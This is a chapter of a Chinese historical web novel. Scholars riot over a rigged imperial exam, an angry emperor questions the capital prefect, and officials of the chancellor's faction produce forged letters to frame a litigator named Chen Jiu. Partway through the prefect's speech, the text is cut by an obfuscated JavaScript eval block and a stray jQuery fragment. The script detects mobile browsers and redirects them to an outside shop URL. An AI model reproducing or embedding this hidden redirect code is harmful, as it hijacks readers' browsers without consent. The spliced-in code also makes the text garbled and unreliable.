近万名考生通力协作,将这桩科场丑事,彻彻底底的摊开。
摊在了光天化日之下,摊在了全天下百姓的眼前。
而这一切,尽数被卢长菏安插在人群中的眼线看在眼里。
他当即快马加鞭,将消息传回卢府。
坐于府中静待消息的卢长菏,听闻眼线禀报后,开心的捻须大笑。
他脸上勾起了一抹计谋得逞的满意笑容,眼里杀机乍现。
他等的,就是这一刻!
这群士子闹得越凶,越是出格。
他便越有理由,将一顶“聚众作乱、亵渎圣贤、藐视朝堂”的大罪,狠狠扣在他们头上!
同时,更能顺理成章的,揪出幕后被他早早泼上脏水的陈九。
他要借此,一举将所有的反对势力,全部一网打尽!
贡院门前的骚动愈演愈烈。
大街上,近万名士子与无处可去的流民们挤作一团,将街道堵的水泄不通。
他们身边到处都是被撞翻的食摊、撕碎的榜文、散落的匿名揭帖……
原本恢宏洁净的大街,如今遍地狼藉。
三甲夸街巡游的队伍,也早已被冲的不复存在。
鼓乐手们一撒手就丢了乐器,探花使们抛下了花枝。
就连鸣锣开道的礼部、吏部官员们,也纷纷顶着铜锣抱头鼠窜,转眼之见全都没了身影。
士子们的喧嚣与怒骂声直冲云霄,整座京城都为之震动,人心惶惶。
京兆府的差役们率先赶到。接着,金吾卫的左右街使、神策军营的兵将们,也手持棍棒,疾速跑来。
数千名军士层层列阵,将各主要街道一一封堵,但却无一人敢轻易动武。
笑话,读书人啊!
还是将近一万名,愤怒值满点的读书人!
这谁敢轻易得罪?
谁又能不怕全天下的书生口诛笔伐、群起攻之?
五大三粗的军营糙汉们,此刻都夹起嗓子,细声细语、苦口婆心的好言相劝。
可士子们不但皆做充耳不闻状,还时不时就要在搅事破坏的边缘,反复试探。
双方一时间僵持不下,气氛愈来愈紧绷。
与此同时
科考士子们组团拦截夸街队的消息,就像是长了翅膀一样,不到一炷香的时间,便传入了宫中。
太极殿内,站着的官员不少,也不算多。
这里不得不提一下大雍的朝会制度。
本朝沿袭唐制。
日常朝会时,有百余官员参与。每月初一、十五的朔望朝会,则有数百人。遇到了盛大节庆的大朝会,更有数千名官员同朝。
太极殿里奢华宽敞,站个区区数百人不成问题。
可是天子临朝,当有盖世仪表。臣子们都挨挨挤挤,成何体统?
所以,朝臣们都按官阶,由内向外站立。
官阶越高,则离御座越近;官卑者,则渐次排队站到殿外的广场上。
因此,时常有大殿里都已经散朝了。但是末流的小官,仍然还站在广场静候。
毕竟,距离实在太远了。叽里咕噜说的啥玩意儿,根本就听不清啊。只能靠内侍往返通告、传旨了。
王鸿志身为京兆尹,位居从三品,官阶不算低,本应在太极殿里有一席之地。
但是,他上边从二品的京兆牧之位已经空缺多年。
所以京兆牧、京兆尹的工作,其实全都压在他身上。
而且,京畿之地,诸事不容小觑。又加之他年事已高,圣上体恤,便让他日常主要精力都放在行政事务上。
日常朝会,如果没有要事上禀,可以不来。
如果有大事,也可以享受直达天听的特权。
但是,每逢国家大事,仍然需要他参与朝会。
并且,还需要他在朔望的大朝会上承担礼仪性的职责。
精美华贵的御炉内,冰彻幽清的龙脑香,丝丝缕缕飘散着,沁人心脾。
本朝天子萧行远,面容英挺,年约四十有余。他的身材虽有些发福,却不掩身高腿长的好比例。
听闻了消息后,他气的直发笑,然后狠狠一拍御案。
啪!
那声脆响,瞬间让殿内站着的一众官员们,提心吊胆,两股战战,不时擦拭额头汗水。
“来人!给朕传王鸿志!”
内侍尖着嗓子传旨,声音穿透殿宇。
殿外御林军立即上马,直奔着京兆府飞驰而去。
不到半柱香的时间,王鸿志已是满头大汗、步履踉跄地踏进了太极殿。
他来不及整理衣袍,噗通一声,跪倒在了金殿地面上,叩首跪安。
“臣,王鸿志参见陛下!皇上万……”
萧行远直接打断他的话:
“别整那没用的!王鸿志,朕且问你!”
“朕命你总领京畿诸事,监理春闱科考,严控京城秩序。”
“如今,不过才放榜数日,居然就闹出了众士子冲毁夸官仪仗、围堵贡院的乱象!”
“京城大街上乱成一团,人心惶惶。你究竟是如何当这个官的?!”
王鸿志浑身发颤,声带惶恐、憋闷:“老臣……臣罪该万死,求陛下息怒!”
“息怒?!”萧行远猛地俯身,抬手一指殿外,怒声呵斥,“现在全京城都要被这群读书人掀翻了!你让朕如何息怒?”
“朕再问你,士子为何要聚众闹事?”
“坊间皆传春闱舞弊、杏榜不公,此事到底是真是假?”
“你身为京畿主官,为何不早早禀报?非要等到事态失控了,才让朕面对这烂摊子?!”
“臣不敢欺瞒陛下!”王鸿志额头磕出红痕,委屈至极,“放榜那天,便有落榜士子质疑科场不公,围堵贡院讨要说法了。”
“臣当时便承诺要彻查试卷,还天下士子一个公道!”
“可截止到今日,臣数次前往阅卷房,皆被层层阻拦。别说核验原卷了,臣连试卷库房的大门都没机会进去!”
“臣也曾数次上书陈情,恳请彻查科考实情。可臣的奏折,全数被内阁留中,根本无法直达御前!”
萧行远闻言,怒气不减:
“奏折被截、诸事受阻,那你不会入宫面圣?”
“你那直达天听的特权、你那腰下边两条腿,难道全都是只能干看的摆设吗?”
“万余名士子,聚众作乱、动摇国本。而你竟然任由事态恶化,毫无作为!你说你该当何罪?!”
王鸿志的额头重重磕地,渗出血迹。他忍不住老泪纵横,含冤抱屈:
“陛下、陛下明鉴啊!并非臣不想入宫!可是,臣周围被不明之人暗中盯梢,行迹上处处受制。”
“臣请求觐见陛下了,但是宫门值守的内侍,都以:‘无圣上手谕、非召见不得擅入’为由,将臣死死的拦在了宫外!”
“纵使臣有一肚子话想禀报,臣也无缘面君陈情啊!”
“此之过,臣自知无能。臣失职,臣甘愿受罚!但士子暴乱,实乃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530961|203688||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
科场舞弊在前,臣实属有心无力!”
“老臣恳求陛下彻查真相,还天下读书人一个公道!”
话音落下,太极殿里一片安静。
百官垂首噤声,大气都不敢喘。
毕竟,眼前这位皇帝,不但喜怒无常、恣睢任性。而且,他可不是那么好糊弄的主。
果然,萧行远非但不怒,反倒抚掌大笑:
“好啊!好一个行迹受制,好一个无缘面见!合着有人想把朕的耳目都堵了,拿科举当棋子,把万名士子当猴耍?!最后,还把烂摊子,全扔给朕收拾?!”
“难道朕是什么很蠢的人吗?不如,朕这皇位让他来坐啊!”
这番话,说的可是太诛心了。皇上能有什么错呢?这还是暗点下边人,有办事不力之责。
能站在太极殿的,可没有一个脑袋不好使的。众大臣连忙磕头请罪。
萧行远神色阴沉,目光不经意的扫过了阶下的文武首列,落在丞相史自悟的身上。
史自悟身着紫色丞相官服,静静跪在地上。
他双眼半阖,五官周正,眉眼耷拉,鬓发花白,一副垂垂老矣的模样。
不时,他还慢悠悠地低咳两声,带着久病体虚的孱弱。
萧行远目光又扫过了他身后满殿文武,也不提让他们起身的事儿。
他沉声逼问:
“科场舞弊、士子作乱、京畿动荡。这一桩桩、一件件,全是国之大事!”
“众爱卿皆是我朝中股肱,刚刚你们也都看见了、听见了。”
“对于此事,你们有何要说的?”
此话一出,早已提前串通好的相党官员们,暗自心头一震。
来了!
户部尚书率先叩首,高声奏道:
“陛下!臣有本奏!以臣之见,王京兆所言,纯属片面之词,意在推卸失职之责!”
“万余名士子共同聚众作乱、冲击仪仗、围堵贡院,乃至亵渎圣贤、涂改贡院匾额。”
“这绝非仅仅是出于不满杏榜排名,必定,是有人在背后故意煽动!”
一御史官员也紧随其后,积极附和:
“陛下英明!此事,臣前几日已有所耳闻,便派人去查探。查后得知,此次暴乱,全是因为城西一讼师陈九在背后作祟!”
“早前,陈九因清溪县县尉晁杰贪腐一案,而对朝廷不满、心怀敌意。”
“此次,她便借着春闱放榜,暗中勾结落榜士子,散播流言、伪造揭帖,蛊惑士子聚众闹事。意图搅乱京城、动摇国本,其罪可诛!”
当即,便有相党官吏捧着物证上前。
官吏将数封提前伪造好的,写着‘陈九’签名的煽动书信、街头匿名揭帖,全都呈在御前。
那字迹模仿陈九,模仿得天衣无缝。就是陈九本人看了,都得一愣。
信里的言辞也极尽挑唆,泥人看了都得火冒三丈、头顶冒烟。
“请陛下下旨,捉拿陈九,以正国法,平息众怒!”相党官员们齐声跪地扣请,声势浩大。
王鸿志震惊的目瞪口呆,陈九?!这事儿跟那小子有啥关系?
而丞相史自悟,依然叩首静跪,一言不发。
萧行远冷眼旁观,嘴角扯出了一抹凌厉的笑。
他把手里看完的信件、揭帖一把反拍在了御案上,冷冷讥笑:
“朕的好爱卿,你们倒是都深藏不露啊!”
“朕不问的时候,没一个人肯说!朕一问,突然就蹦出这么多‘知情者’了?”